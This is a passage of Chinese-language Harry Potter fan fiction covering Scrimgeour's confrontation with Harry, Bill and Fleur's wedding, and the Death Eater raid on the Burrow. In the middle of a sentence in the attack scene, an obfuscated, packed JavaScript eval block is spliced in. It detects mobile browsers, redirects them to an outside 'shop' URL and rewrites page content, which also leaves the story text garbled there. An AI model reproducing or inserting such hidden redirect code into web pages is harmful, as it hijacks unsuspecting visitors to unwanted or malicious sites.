“有趣的理论,”哈利继续冷嘲热讽,“有人试过用宝剑去刺伏地魔吗?也许魔法部应该安排一些人去做这件事,而不是整天把时间浪费在拆熄灯器和封锁阿兹卡班越狱的消息上,而你只是把自己关在办公室里,绞尽脑汁想打开一个飞贼?到处都在死人,你手下的傲罗差点儿死了,我也差点儿死了,伏地魔追着我们过了三个郡,可是魔法部对这些事情只字不提,不是吗?你还指望我们跟你合作?” “你说话太过分了!”斯克林杰大喊一声,一瘸一拐的跳到哈利跟前,哈利也不甘示弱的站了起来,他用魔杖在哈利的T恤衫上烧了个洞。 莉安和罗恩立刻拔出魔杖指着他。 “别!”哈利立刻阻止了他们,“你们两个想让他有借口逮捕我们吗?” “你想起了不是在学校,对吗?”斯克林怒气冲冲的吼道,“想起了我不是邓布利多,不会原谅你的无礼和放肆,对吗?你可以把那道伤疤当成王冠,波特,但是还轮不到一个十七岁的毛孩子来告诉我怎么干我的工作!你该学会尊重别人!” “你该学会赢得别人的尊重!”哈利说。 “但是法律也没允许魔法部部长对一个十七岁的孩子用攻击性咒语。”莉安冷冷的看着他,寸步不让。 地板在颤抖,传来了奔跑的脚步声,接着客厅的门突然打开,小天狼星和韦斯莱夫妇冲了进来。 “我们、我们好像听见——”亚瑟看到哈利和斯克林杰几乎鼻尖碰着鼻尖,一下子惊呆了。 “听见高声喧哗。”莫丽嗓子沙哑的说。 “你要干什么!”小天狼星看他们剑拔弩张的样子,警惕的举起了魔杖。 “我为你的态度感到遗憾,”斯克林杰没有理会其他人,而是怒视着哈利,“你好像以为魔法部的愿望和你的、邓布利多的愿望不一样,我们应该共同合作。” “我不喜欢你的方式,部长,”哈利说,“你甚至没有处罚乌姆里奇!” 斯克林杰一言不发的转过身,一瘸一拐的走出了房间,莫丽急忙跟了过去。 过了一分钟左右,莫丽喊道,“他走了!” “他想做什么?”小天狼星转头看着他们,这时莫丽又匆匆回到他们身边。 “把邓布利多留给我们的东西给我们,”莉安厌烦的说,“他们刚把邓布利多的东西拿出来…” “我告诉过你们,不要指望他在研究什么针对黑魔王的计划,他是个莽夫,没有任何政治敏锐度,”小巴蒂从楼梯上走下来,看来他听到了全部的对话,“我说句实话,这两个部长一个比一个烂,如果不是我加入了食死徒,其实最适合做部长的人选是老巴蒂·克劳奇。” 众人思索了一下,无奈的认同了这个事实。 当伏地魔出现时,三个人的反应是这样的。 老巴蒂·克劳奇:去找邓布利多。 康奈利·福吉:诋毁邓布利多。 鲁弗斯·斯克林杰:玩邓布利多的球。 他们沉默的来到外面的花园里,亚瑟一直仔细端详着熄灯器,众人把他们得到的东西翻来覆去的看,发出阵阵惊叹。 “可惜了那把剑。”小天狼星叹了口气。 莉安心里有个模模糊糊的念头一闪而过,但她实在想不出来,便一言不发的盯着蛋糕。 莫丽试探性的说,“哈利,亲爱的,大家都在等你,实在饿坏了,现在我可以上菜了吗?” 大家草草唱了一首《祝你生日快乐》,三口两口吃完了蛋糕,晚会就散了。 莉安答应了明天来参加比尔的婚礼,带着查理和小巴蒂回了祖宅,等查理去了他的房间,她忙不迭的一边喂嗷嗷大哭的女儿,一边掏出了那个装着凤凰眼泪的水晶瓶认真打量。 “邓布利多是什么意思呢?” “我认为应该没有特殊意义,可能只是担心你会为了我或者波特涉险吧,他很了解你。”小巴蒂懒洋洋的靠在沙发上,兰斯和洛特正一左一右的抱着他的腿,就是洛特的眼睛不老实,一直瞟着他母亲的胸口,馋得口水哗啦啦的往下流,一脸渴望。 “行吧,反正也算给我留了一些保障。”莉安轻轻拍了拍女儿的后背,莎莫正直挺挺的趴在她胸口上,这个女儿一向气性大,小巴蒂无数次说女儿很像她。 “我明天要出去一趟,婚礼就不去了,”小巴蒂轻描淡写的说,“如果不出意外,魔法部明天就会沦陷。” “这么快?”莉安震惊的看着他。 “斯克林杰提防邓布利多,我说过无数次了,他在做蠢事,”小巴蒂张开手臂,头往后仰,漫不经心的闭上了眼睛,“阿米莉亚·博恩斯和金斯莱都应该是他的得力手下,但他却提防他们,导致前者被杀,后者被排挤出权利中心,也弃之不用你和唐克斯这样法力高强的傲罗,导致他现在无人可用,身边不是如辛克尼斯这样中了夺魂咒的心怀叵测之辈,就是一群碌碌无为的酒囊饭袋,就像乔治告诉你的——魔法部那些人连个铁甲咒都施不出来,只能在他和弗雷德那里买防咒帽,亲爱的,我跟你讲了两年魔法部内部的漏洞,你还不能明白吗?这次伏地魔是真的跳到他脸上,准备掀桌子了,而他毫无还手之力。” “那他会怎么样?”莉安惴惴不安的问。 “别问愚蠢的问题。”小巴蒂的语调没有起伏。 莉安一言不发的抱着女儿,她感觉一阵寒气从心中升起,涌向四肢百骸,这让她忍不住牙齿打颤,不停的哆嗦着。 “会好的。”小巴蒂仍然没有睁开眼睛,但就像感觉到了她在发抖那样,一条手臂落在她的肩头,把她和女儿搂进怀里。 他温柔的重复道,“会好的,亲爱的,我跟你说过,你要重建它,必须先摧毁它,之后那里就是我的战场,我们会一直在一起。” “永远?” “永远。” 36.婚礼 1997年8月1日,陋居。 下午三点时,莉安穿着一身银色的羽毛亮片长裙,头戴同款的鸡尾酒小帽出现了,小巴蒂的眼光一直很棒,这条裙子的袖口和前胸的位置用淡蓝色的丝线勾勒出了字母C的暗纹,代表了她暂时不能宣之于口的克劳奇夫人的身份。 等她靠近帐篷时,哈利、罗恩、弗雷德和乔治已经站在在果园里巨大的白色帐篷外,恭候着来参加婚礼的客人们。 哈利喝了大剂量的复方汤剂,现在成了当地奥特里·圣卡奇波尔村里一个红头发麻瓜男孩的模样——弗雷德用飞来咒偷了那个男孩的几根头发,他现在的身份是“堂弟巴尼”,反正韦斯莱家的亲威众多,能把他掩护住。 一小时前查理就已经提前出发了,他身为伴郎必须陪着比尔,而莉安不紧不慢的穿过花园,四处欣赏着花园的风景,今天阳光很大,蜜蜂和蝴蝶正懒洋洋的草丛和灌木树篱上飞舞着,一群穿白色长袍的侍者和一支穿金黄色上衣的乐队坐在不远处的一棵树下,抽着烟斗,那里袅袅升起的一片青色的烟雾。 “等我结婚的时候,我才不搞这些讨厌的名堂呢,”弗雷德热得一边扯着他长袍的领子一边说道,“你们爱穿什么就穿什么,我要给妈妈来一个全身束缚咒,一直到事情办完。” “那像我这种不办婚礼的岂不是更省事?”莉安郁闷的说,“就算你们都知道他是谁了,可我还是不能办婚礼。” “好事多磨,”弗雷德没好气的说,“这丈夫可是你自己选的,都没跟我和乔治通个气…我还以为我们关系很铁呢…哼,你就认了吧!” “可这也没办法说呀…”莉安心虚的转移话题,“姑妈呢?她怎么样?是不是高兴坏了?” “她今天上午表现还可以,”乔治说,“为珀西不能来哭了一鼻子,其实谁稀罕他来呢?噢,天哪,做好准备——他们来了,看。” 莉安回头,在院子的最远端,一个又一个色彩鲜艳的身影凭空出现,几分钟后就形成了一支队伍,开始蜿蜒穿过花园,朝大帐篷走来。 奇异的花朵和带魔法的小鸟在女巫们的帽子上颤动,珍贵的宝石在许多巫师的领结上闪闪发光,这群人离帐篷越来越近,兴奋的、叽叽喳喳的说话声越来越响,淹没了蜜蜂的嗡嗡声。 “太棒了,我好像看见了几个媚娃表妹,”乔治说,伸长脖子想看得更清楚些,“她们需要有人帮助她们了解英国习俗,我去照应她们…” “不用这么着急,”虽然嘴上这么说,但弗雷德很阴险的冲过队伍前面的那群中年女巫,抢先对两个漂亮的法国姑娘说道,“嘿!请允许我为你们服务。” 法国姑娘咯咯笑着,让他陪着她们进去了,乔治对自己双胞胎兄弟那重色轻友的行为恨得咬牙切齿,只能去对付那些中年女巫,罗恩在招呼亚瑟在魔法部的老同事,而哈利负责剩下的客人。 正在这时,唐克斯和卢平也到了,莉安躲躲闪闪的想钻进帐篷里,唐克斯却不愧是潜行和反潜行满分的傲罗,马上跑过来抓住了她,气得头发都变成了金黄色。 “好哇!真是太好了…这么大的事你居然瞒着我!”唐克斯愤怒的小声叫道,“亏我还给你作证,说你没可能会帮小克劳奇劫狱,你这个骗子!把我都给瞒了过去!” “我…”莉安扭头看向卢平,但卢平面无表情的看着她。 “小克劳奇在你心里是最好老师,没错,”他用低沉的、没有起伏的语调说,“我从没见过这么好的老师,娶了自己的学生,让她在怀孕时参加最危险的三强争霸赛。” “但是他对我用了夺魂咒,我不会有事的。”莉安慌张的辩解道。 “你到底是怎么消失的?”唐克斯不停的摇晃着她的身体,不依不饶的瞪着她,“这是什么咒语?我和摄魂怪居然都发现不了!” “以后你可能会知道的…”莉安含含糊糊的说。 “哼!”唐克斯发出一声冷笑,对这个答案很不满意。 这时,哈利过来领着他们走向大帐篷入口处的通道,这里铺着一条长长的紫色地毯,两边放着一排排精致纤巧的金色椅子,柱子上缠绕着白色和金色的鲜花,一大串金色气球拴在比尔和芙蓉即将举行结婚仪式的地点上空。 “昨晚真是抱歉,”唐克斯压低声音对哈利说,“魔法部目前对狼人镇压得很厉害,我们认为我们在场恐怕会给你们惹麻烦。” “没关系,我理解。”哈利说。 卢平迅速朝他笑了笑,但他们转过身去时,卢平的脸又变得阴郁愁苦起来。 “你就不能自信一点嘛莱姆斯?”莉安简直烦透了这男人的反复无常,让她的好闺蜜唐克斯一直为爱所伤,她语气稍微重了点,“自卑什么呢?唐克斯都没觉得你是累赘,你自己又开始愧疚了,天呐,巴蒂追我的时候,他是个食死徒都信心十足呢。” “那我真希望他的脸皮能分给我一点儿,无耻也行。”卢平阴沉沉的说。 “没人觉得你哪里不好,”莉安用不耐烦的说,“你现在都不圣了,非常完美…那次你劝哈利我其实是赞同你的,说真的,这个身份不影响我们——” “是啊,不影响,只是局限于凤凰社而已。”卢平的面色仍然愁苦不堪,声音也显得很冷硬,而唐克斯悲哀的看着他。 “别说这种话,莱米,跟你结婚以来,我获得了许多想象不到的快乐,我倒真希望你像小克劳奇那样得意,你看他们都有三个孩子了,感情得多好呀。” 卢平听到孩子,表情变得更严肃了,一言不发的走到座位旁,他刚坐下,唐克斯就立刻坐到他旁边,搂住了他的手臂。 莉安不想当电灯泡,她正打算悄悄开溜时,海格制造了一场大混乱,他把弗雷德指点的位置搞错了,没有坐在后排那个专门给他用魔法增大、加固的座位上,而是一屁股坐在了五把椅子上,现在那些椅子就像一大堆金色的火柴棍儿,亚瑟只好匆匆赶来施修复咒。 这个动静有点大,唐克斯哈哈大笑,而海格在不停的跟每一个愿意听他讲话的人道歉比如卢平,莉安深深的呼了口气,趁机脱身,她刚走到自己的座位附近时,罗恩就带着一个年迈的女巫进来了,她正紧紧抓着他的胳膊。 老女巫鹰钩鼻,红眼圈,粉红色的羽毛帽子,看上去活像一只坏脾气的火烈鸟。 “你的头发太长了,罗恩,刚才我还以为你是金妮呢,我的老天,谢诺菲留斯·洛夫古德穿的那是什么呀?他看着真像一块煎蛋饼,你又是谁呀?”她朝哈利大声问。 “哦,穆丽尔姨婆,这是我们的堂弟巴尼。” “又是韦斯莱家的?噢,你们繁殖得像地精一样快。” 莉安看了看前面穿着同样耀眼刺目的黄色长袍的洛夫古德父女,刚想举起魔杖给自己用一个幻身咒,穆丽尔·普威特就已经发现了她。 “哎呀,可真是难得一见,我还以为是我眼花了呢,原来还真是莉安啊,莉安,我听说之前你嫁人了,还两年生了三个孩子,我收回刚刚那句话,你才是繁殖得像地精一样快,就是你那个丈夫我怎么从来没见过呀,哎?他今天也没来,难道是长得很难看吗?” “他很英俊。”莉安面无表情的说。 “嗐,你又在找借口了,是吗?看来他的确拿不出手,我刚才一直在教新娘怎么戴我的头饰才最好看,”她嚷嚷着对莉安说,“妖精做的那个,在咱们家流传了好几个世纪,你说说你,怎么不举办婚礼呢?到时候也不用还给我了,反正我死后普威特的东西都是你的,那新娘倒是个漂亮姑娘,不过到底是个——法国人。” “普威特是法国的家族,穆丽尔姑婆。”莉安反唇相讥。 “那都是多少个世纪以前的事了,不过也对,你母亲就是法国人,你当然不把你自己当我们英国人,”穆丽尔不屑的说,“好了,好了,快给我找个好座位,罗恩,我都一百零七岁了,最好别站得太久。” 罗恩和哈利把她扶到座位上,立刻溜之大吉。 莉安竭力控制自己千万不要像对皮皮鬼那样给穆丽尔一个封喉锁舌咒语,她沮丧的坐在自己的座位上生闷气,等帐篷里差不多坐满了人,罗恩他们才又偷偷摸摸的溜进来。 “穆丽尔简直是个噩梦,”罗恩用袖子擦着脑门说,“她以前每年都来陋居过圣诞节,后来,谢天谢地,她生气了,因为弗雷德和乔治吃饭时在她椅子底下放了个粪弹,爸爸总说她在遗嘱里不会赠给他们俩任何东西——他们才不稀罕呢,以后家里谁也赶不上他们俩有钱。” “你呢?你又是怎么回事?”哈利疑惑的看着莉安,“我以为你除了韦斯莱夫人没有亲人了。” “我跟她关系不亲近,甚至是疏远,因为穆丽尔不喜欢我母亲,总是诋毁她,”莉安神情沉郁的望着穆丽尔的背影,“后来我父母和叔叔都死了,那时候穆丽尔刚回到英国——她之前在国外避难,她倒是想把我接走,但是我死也不愿意跟她生活在一起——她比纳威的奶奶还可怕,所以后来我们就很少联系了。” 哈利回想了一下纳威的奶奶,身体抖了抖。 “哇,”突然,罗恩发出一声惊叹,他快速的眨巴眼睛,看着赫敏匆匆朝他们走来,甜言蜜语的说,“你的样子太棒了!” “总是用这副吃惊的口气。”赫敏明显很吃这一套,脸上一直笑着。 她穿着一件飘逸的淡紫色长裙,脚下是配套的高跟鞋,头发光滑柔顺,就像圣诞舞会那天一样漂亮。 “你的姨婆穆丽尔可不这么认为,刚才我在楼上碰到她来给芙蓉送头饰,她说:‘噢,天哪,这就是那个麻瓜出身的?’然后又说:‘姿势不美,踝骨太突出。’” “别往心里去,她对谁都不客气。”罗恩说。 “是说穆丽尔吗?”乔治和弗雷德一起从大帐篷里钻出来,“她刚才还说我的耳朵不对称,这个老太婆!噢,我真希望比利尔斯叔叔还在,他在婚礼上可是个活宝。” “就是看到‘不祥’后二十四小时就死掉的那个叔叔?”赫敏问。 “是啊,他最后变得有点古怪。”乔治承认。 “但他在发疯前,可是每次聚会的生命和灵魂哪,”弗雷德说,“他经常一气灌下整整一瓶火焰威士忌,然后跑到舞池里,撩起长袍,掏出一束又一束鲜花。” “是啊,听上去他真是个可爱的人。” 这时,他们附近坐下一个新来的客人,那是个黑头发的年轻人,大鹰钩鼻子,两道黑黑的浓眉,一看到他,媚娃姑娘们便发出阵阵惊呼。 他盯着赫敏说,“你看上去太美了。” “威克多尔!”赫敏尖叫一声,她红着脸说道,“我不知道你也——见到你真是太好了,你怎么样?” 罗恩的脸变得通红,他粗声大气的问,“你怎么会来这儿?” “芙蓉邀请我的呀,”克鲁姆扬起眉毛说,“莉安不也在这儿吗?” 说完他打了个招呼,莉安点了点头。 “介绍一下,莉安·普威特,我舅舅的女儿,我的表姐。”罗恩慢吞吞的说。 莉安不想看雄竞,连忙把头转了过去,盯着洛夫古德的长袍,仿佛那真的是一块煎蛋饼。 温暖的帐篷里气氛很庄重,这时,嗡嗡的说话声突然被一阵兴奋的大笑声打断,韦斯莱夫妇顺着通道慢慢走来,笑吟吟的朝亲戚们挥手致意,莫丽穿了件崭新的紫色长裙,帽子也搭配的十分得体。 片刻之后,比尔和查理站在了大帐篷的前面,两人都穿着礼服长袍,纽扣眼里插着大朵的白玫瑰,弗雷德挑逗的吹起了口哨,那群媚娃表妹们顿时咯咯笑成一片,接着响起了音乐,似乎是从那些金色气球里飘出来的,人群安静下来。 随着德拉库尔先生挽着芙蓉入场,人群中爆发出了阵阵欢呼,芙蓉神情自若,穿着一身简约的白色长裙,却散发着无比迷人的魅力,让周围众人的风采完全被她掩盖,美得让所有人为之倾倒。 金妮和加布丽双双身着金色的伴娘长裙,看上去比平时更加的动人,等到了前面,芙蓉把手伸给比尔,比尔就像从来没有遇到过芬里尔·格雷伯克那样精神。 “女士们、先生们,”略带唱音的声音响起,一个头发蓬乱的小个子男人——那个主持了邓不利多葬礼的巫师此时站在比尔和芙蓉的面前,“今天我们齐聚一堂,共同见证两位新人的天赐良缘...” “确实,我们普威特的头饰让整个婚礼变得更加完美了,”穆丽尔低声感慨,“如果是莉安戴这个头饰,没准儿会比这姑娘更好看呢,但她又不举办婚礼,那三个孩子我都没见过…而且我必须得补充一句,金妮的装扮不是很得体,裙子的开口太低了…” 莉安没什么反应,而金妮翻了个白眼,又偷偷去看哈利。 “好了,威廉·亚瑟,请携手芙蓉·伊莎贝拉…” 在最前排,莫丽和德拉库尔夫人两人的手帕都已被幸福的泪水浸透,吹喇叭一样的抽泣声也在后排响了起来,这肯定是海格拿出了他那块标志性的桌布大小的手帕开始哭泣。 “…现在,我宣布你们正式结为夫妻。” 那个头发蓬乱的司仪在比尔和芙蓉头上一挥魔杖,奇幻的银色小星星在他们四周升起盘旋,随着乔治和弗雷德引领的一片掌声,金色的气球纷纷爆炸,变成一只只快乐的飞鸟和金色的挂钟在空中飘摆,美妙的乐曲声也随即响起。 “女士们先生们,”司仪再次开口,“请全体起立。” 除了穆丽尔有些抱怨,其他人全都站了起来,司仪再次挥动魔杖,帐篷随之消失,他们刚才落座的座位也飞了起来,天空幻化成华美的金色的拱顶,令人叹为观止,随后,一点金光从场地中央向四周铺展开来,变成一个巨大的舞池,刚才飞起的座椅纷纷落下,围着一张张的白色小桌分布在舞池周边,乐队也随之登上了舞台。 “太棒了,我饿坏了!”当罗恩看到各处突然冒出来的侍者们用银盘端着南瓜汁、黄油啤酒、火焰威士忌、小薄饼和三明治的时候发出了由衷赞叹。 莉安耸耸肩,拿过一杯火焰威士忌小口抿着,在最角落找了张桌子坐下,想尽量远离她的穆丽尔姑婆。 乐队开始演奏,比尔和芙蓉首先步入舞池,赢得大家的热烈喝彩,过了一会儿,亚瑟领着德拉库尔夫人走向舞池,后面跟着莫丽和芙蓉的父亲。 几秒钟后,大部分姑娘被他们的舞伴带着,站起身脚步轻盈的滑向舞池,只有莉安独自一人慢慢的喝着酒,闭着眼睛享受音乐的美妙。 可是莉安脸上的笑容很快消失了:穆丽尔一屁股坐在了她旁边的座位上,开始喋喋不休的跟其他人聊起她的事。 “我这个侄孙女呀,总是倔得要死,完全像她父亲!吉迪恩就是这样!她一点儿也不像那个奔放的法国女人——喏,就是吉迪恩的妻子,这孩子整天冷冰冰的,跟我也不亲近,怎么会讨人喜欢呢?我都怀疑没有男孩儿追求她,按我说,她就应该——” “穆丽尔姑婆,我已经结婚了。”莉安闭着眼睛提醒道,她口气里火药味很浓。 “噢,谁知道他是人是鬼呢,”穆丽尔显得很不在意的样子,她撇了撇嘴,“没准儿是贪图我们普威特的财产呢,毕竟以后就连我的东西都是你的,你可得想好了,他让你们的长子姓普威特恐怕就是没打好主意,甚至纵容你不冠夫姓,哪个男人会这么窝囊,还不如找个更好的小伙子,就是你这个性格得改改,哪个男人会真的喜欢一副臭脸呢?” “我管他喜欢什么。”莉安不耐烦的说。 “还是个傲罗,整天打打杀杀…一副要跟人拼命的样子…” 穆丽尔不满的嘟哝着。 莉安深深的吸了口气,起身大步走开了,她从旁边走过的侍者手里拿过一块三明治,在拥挤的舞池边缘穿行。 她想给比尔和芙蓉送上贺礼,可他们正被祝福的人群包围着,她只好靠在一根金柱子上注视着翩翩起舞的人群,突然想到自己从来没有跟小巴蒂跳过舞,七年级的那场圣诞舞会他们和不同的人跳了舞,哪怕他们曾经离得那么近,感觉却像隔着几光年那样遥远,像两颗不住在同一星系的小行星。 但没关系,组成他们身体的所有元素都是千百万年前在一个遥远的星球核心里造就的,当恒星被撕裂的时候,它会将自己生命过程中创造的所有元素炸入空中,然后死去,这些元素将在宇宙中铺开形成星云,在星云的中心有一团小小的光,新的恒星重生于消亡恒星的残余,经过了上百万年周而复始,在这个死亡又重生的宇宙循环中,这些元素又聚合起来又分崩离析,最后它们聚在一起,他们出现了,他对她来说永远都是独特的。 永远不会再有第二个。 夜幕降临,浮在半空的金色灯笼照亮了天棚,蛾子开始在天棚下成群飞舞,人群头顶上悬空飘浮的一瓶瓶香槟酒,结婚蛋糕被切开,顶上那两个凤凰模型活了过来,它们展翅飞走了。 此时狂欢的气氛越来越浓,越来越没有节制,弗雷德和乔治跟芙蓉的一对表姐妹消失在黑暗里,而查理、海格和一个戴紫色馅饼式男帽的矮胖巫师在墙角里高唱《英雄奥多》。 一声刺耳的嘎嘎尖笑打断了愉快的气氛。 “丽塔·斯基特?噢我喜欢她,总是读她写的东西!” 穆丽尔帽子上的羽毛上下翻飞,她手里还端着一杯香槟酒,“知道吗,她写了一本关于邓布利多的书!” 另一个年迈的男巫气愤的看着她,头顶上还戴着一顶被虫蛀了的土耳其帽——埃非亚斯·多吉,凤凰社成员。 “你好,穆丽尔,”他火气很大的说,“我们正在谈论——” “把你的椅子给我,我都一百零七岁了!” 韦斯莱家的另一个红头发的堂哥惊慌失措的从椅子上跳起来,穆丽尔用惊人的力气把椅子转了圈,放在多吉旁边,然后扑通坐了下去,他们那张桌子上还有哈利。 “又见到你了,巴利。” (穆丽尔记错了哈利的化名。) “埃非亚斯,你们刚才在说丽塔·斯基特什么?你们知道她写了一本邓布利多的传记吗?我迫不及待的想读呢,我得记着在丽痕书店订购一本。” 听了这话,多吉沉了脸,表情僵硬,可是穆丽尔一口喝干杯里的酒,用瘦骨嶙峋的手朝旁边一位侍者打了个响指,要求斟满。 她又喝下一大口香槟,打了个响嗝,才说道,“没必要看上去像两只青蛙标本似的!阿不思在变得这么德高望重、受人尊敬之前,曾经有过一些非常滑稽的谣传呢!” “无中生有的乌鸦嘴。”多吉的脸变得像萝卜一样通红。 “随你怎么说吧,埃非亚斯,”穆丽尔咯咯的笑着,“我注意到你在报纸上的那篇讣文把不好处理的地方一带而过!” “很遗憾你这么想,”多吉口气冷淡的说,“我向你保证,我写的都是发自内心的话。” “你都说那是谣传了,为什么还要说出来?”莉安的声音插了进来,她冷静的有些格格不入,“婚礼上不要谈论这些事,很煞风景。” “你这个不懂礼貌的小崽子!”穆丽尔听到她的反驳,愤怒的冲她尖叫道,“法国女人就是这么教你的?你跟你母亲一样无礼、莽撞、不知所谓!如果不对我客气点,我就在遗嘱里取消你的继承权!” “求之不得。”莉安阴沉的说。 这边的争吵声吸引了查理,他一边道歉一边把莉安拉走,穆丽尔就像个斗胜的公鸡一样昂着头,一会儿大声批判莉安是个即将被骗光普威特财产的、脑子不清醒的小崽子,一会儿又恶意的揣测邓布利多的母亲坎德拉生下了一个哑炮女儿,把她囚禁在地窖里,并且信誓旦旦的宣称坎德拉想杀死女儿阿利安娜,但是没来得及这么做就死去了,她怀疑是阿利安娜可能为了自己拼死反抗,在搏斗中杀死了坎德拉。 “她喝多了就这样,”查理搜肠刮肚的安抚着气得想弑亲的表妹,“她明天肯定不知道自己昨天晚上说了什么。” 莉安抬起手,刚想打个响指把穆丽尔的嘴巴用香槟的瓶塞堵住,一个银色的大家伙就穿透舞池上方的天棚掉了下来。 这只猞猁姿态优雅、闪闪发光,轻盈的落在大惊失色的跳舞者中间,人们纷纷转过脑袋,离它最近的一些人滑稽的僵住了,守护神把嘴张得大大的,用金斯莱那响亮、浑厚而缓慢的声音说话了。 “魔法部垮台了,斯克林杰死了,他们来了。” 一切都显得那么缓慢、模糊不清,莉安和查理一跃而起,抽出魔杖,许多人刚刚意识到发生了变故,银色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729518|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猞猁就消失了,人们仍然扭头望着,沉默像冰冷的河水,从守护神降落的地方一波一波向外扩展,接着有人尖叫起来。 宾客惊恐的大喊大叫,他们开始向四面八方逃窜,许多人在幻影移形,因为此时陋居周围的保护魔咒已经被破坏了。 人群里出现了一些穿斗篷、蒙面罩的身影,卢平和唐克斯也都举着魔杖,他们同时大喊,声音在四处回荡。 “Protego! ” 凤凰社的几人给自己加了铁甲咒后,迅速进入了战斗状态,莉安看到哈利三人被惊恐的宾客撞得东倒西歪,不过他们很快就被小天狼星带着幻影移形了。 这时他们的头顶上嗖地掠过一道红光,不知是昏迷咒还是更加凶险的钻心咒,几人只能打起精神对付食死徒。 “有十三个人,居然还有德力士,他又被施了夺魂咒!”唐克斯挥舞着魔杖大喊,“现在食死徒和魔法部是一回事了!” “没错!”卢平一边跟食死徒搏斗一边大喊道,“快掩护其他人离开!有些人不会幻影移形!” 莉安标记了两个食死徒,魔杖里又快又狠的射出几个昏迷咒,但她很快就停了下来,在惊慌失措的人群中显得十分突兀且怪异。 “Imperio. ” 小巴蒂摘掉了兜帽,五指张开,慢条斯理的放在莉安头上,接着稍稍用力,让她原地转了个身,面向自己。 莉安的焦虑一扫而空,只感觉朦朦胧胧的轻松和快乐向自己袭来,眼前一片模糊,似乎很多人正在看着自己,但声音几乎听不见了,唯一能感觉到的就是丈夫的手,那么温暖,令人安心,她顺从的被他抓着,那些从天而降的食死徒一边和凤凰社成员搏斗,一边意味不明的望着他们。 凤凰社的人且战且退,一个个逃走了,唐克斯和卢平看到小巴蒂出现,微微松了口气,最终逃到场地边缘幻影移形了,小巴蒂朝后面挥挥手,“你们分成两组,一组拷问那些来不及逃走的人,另外一组进去搜!” “那这个…”一个食死徒偷偷觑着他的脸色,又瞟了莉安一眼,小声说道,“我记得她是个傲罗。” “这个女人今晚是我的。” 其他食死徒恍然大悟,他们邪恶的笑了笑,一头冲进陋居里搜查。 亚瑟和莫丽已经被束缚咒绑住了,他们简直惊呆了,但小巴蒂不易察觉的对他们眨了眨眼,两人那颗提着的心暂时又落回了肚子里。 不多时,一个食死徒在陋居里惊叫道。 “这好像是那个和哈利·波特形影不离的韦斯莱男孩儿!” “把他带下来。” “可能不行,”另外一个搜查的食死徒惊慌的从陋居里跑出来,呼哧带喘的喊道,“他好像得了传染病,是那个什么…散花痘!” “是吗?”小巴蒂意味深长的看了被绑住的莫丽一眼,“把他们两个也带进来。” 小巴蒂上了歪歪斜斜的楼梯,莉安亦步亦趋的跟在后面,他们还没走到罗恩的卧室门前,那里面就传来一种可怕的半是吮吸半是呻吟的声音,还伴随着类似阴沟里散发的难闻气味。 等他进了门,便看见“罗恩”蜷缩在床上,张着嘴巴呼呼大睡——其实是韦斯莱家的食尸鬼,双胞胎给它变了形,务必让它看起来和罗恩的外形一致。 “是那个韦斯莱,”一个食死徒用兜帽蒙着脸,嫌恶的说,“红头发,满脸雀斑,特征都对得上,但现在他身上长了那么多脓疱,这家人真是心大,小儿子快死了,还在给另外一个儿子办婚礼。” 小巴蒂注视着“罗恩”,他看起来的确很恶心,身上穿的是罗恩的一套旧睡衣,头发浓密,身上布满红得发紫的水疱。 “罗恩·韦斯莱?”他的魔杖轻轻一点,“罗恩”醒了,流着口水哼哼唧唧,对他点了点头。 “没错,散花痘,离他远点。” 小巴蒂下了楼梯,对其余食死徒偏了偏脑袋。 “如果有凤凰社的人,把他们带到客厅里,我亲自拷问,其他人随意。” 几个食死徒应声而去,他们粗暴的推搡着看起来吓傻了的亚瑟和莫丽,嘴里叫着“老实点!”间或夹杂着亚瑟的怒吼“别碰我老婆!你们这群蠢货!” 韦斯莱夫妇被食死徒们用魔杖举起来,像扔两块猪肉一样扔在沙发上,等陋居的客厅里只剩下他们四人时,小巴蒂坐在他们对面的扶手椅上,用了闭目塞听不让人听到他们的对话,又拍了拍手,束缚咒解开了。 “辛苦了,莫丽,亚瑟,我看其他凤凰社的人都逃走了,但是那些没逃跑掉的客人可能得吃点儿苦头,估计要审问一阵子。” “魔法部真的沦陷了?”亚瑟揉了揉被绑得有些红肿的手腕,迫不及待的问道。 “没错,斯克林杰已经束手就擒——当然,我必须得夸他抵抗得英勇顽强,”小巴蒂的语调里透露着他惯有的嘲讽,“但是这没什么用,黑魔王亲自出手了,目前就看他骨头硬不硬,会不会把波特给卖掉,毕竟昨天他在这里见过波特。” “亲自出手?可是魔法部那么多人——” “所有能跟斯克林杰直接接触的司长都中了辛克尼斯的夺魂咒,”小巴蒂解释道,“他身边没有可用的人,只能束手待毙,金斯莱逃走了,现在亚克斯利控制着辛克尼斯,他会是下一位部长,作为黑魔王的傀儡。” “你怎么又称呼他黑魔王了?”莫丽半信半疑的盯着他。 “噢,他们对黑魔王的名字施了个恶咒,任何直呼他名字的人都会被发现,这是他们盯梢的办法,一说他的名字就会打破防护魔法,造成某种魔法干扰,”小巴蒂耐心的说,“因为只有真正想抵抗他的人才敢说他的名字,现在这名字上有禁忌,说它的人都会被抓。” “那哈利和罗恩、赫敏怎么办呢?”莫丽慌张的掉了眼泪,又开始哭哭啼啼起来,“他们逃走了,是不是?” “嗯,逃走了,跟西里斯一起。”小巴蒂肯定了她的猜测。 “那我还去魔法部吗?”亚瑟愣了片刻,皱着眉头问道。 “去,当然去,”小巴蒂挑了挑眉毛,“我马上就会成为法律执行司司长,到时候,你得接收消息,和我一起蚕食魔法部的势力,顺便…你不想照顾你儿子珀西吗?我看那小子有点不知好歹——” “去!必须去!”莫丽冲亚瑟尖叫着,“我可怜的珀西还在部里,在神秘人手下可不是能轻易脱身的,噢…他可怎么办呢?你不去,谁来照顾他呢?” “去,这是我的任务,我不会逃避的,”亚瑟定了定神,目光转向一脸木然的莉安,忧心忡忡的说,“那她…” “我会照顾好她的,莉安也得去魔法部,对外就说中了我的夺魂咒,和那个德力士一样。” 小巴蒂举起魔杖解除了夺魂咒,莉安感觉自己的脑子好像重新长出来了,立刻钻进他怀里。 “已经结束了吗?” 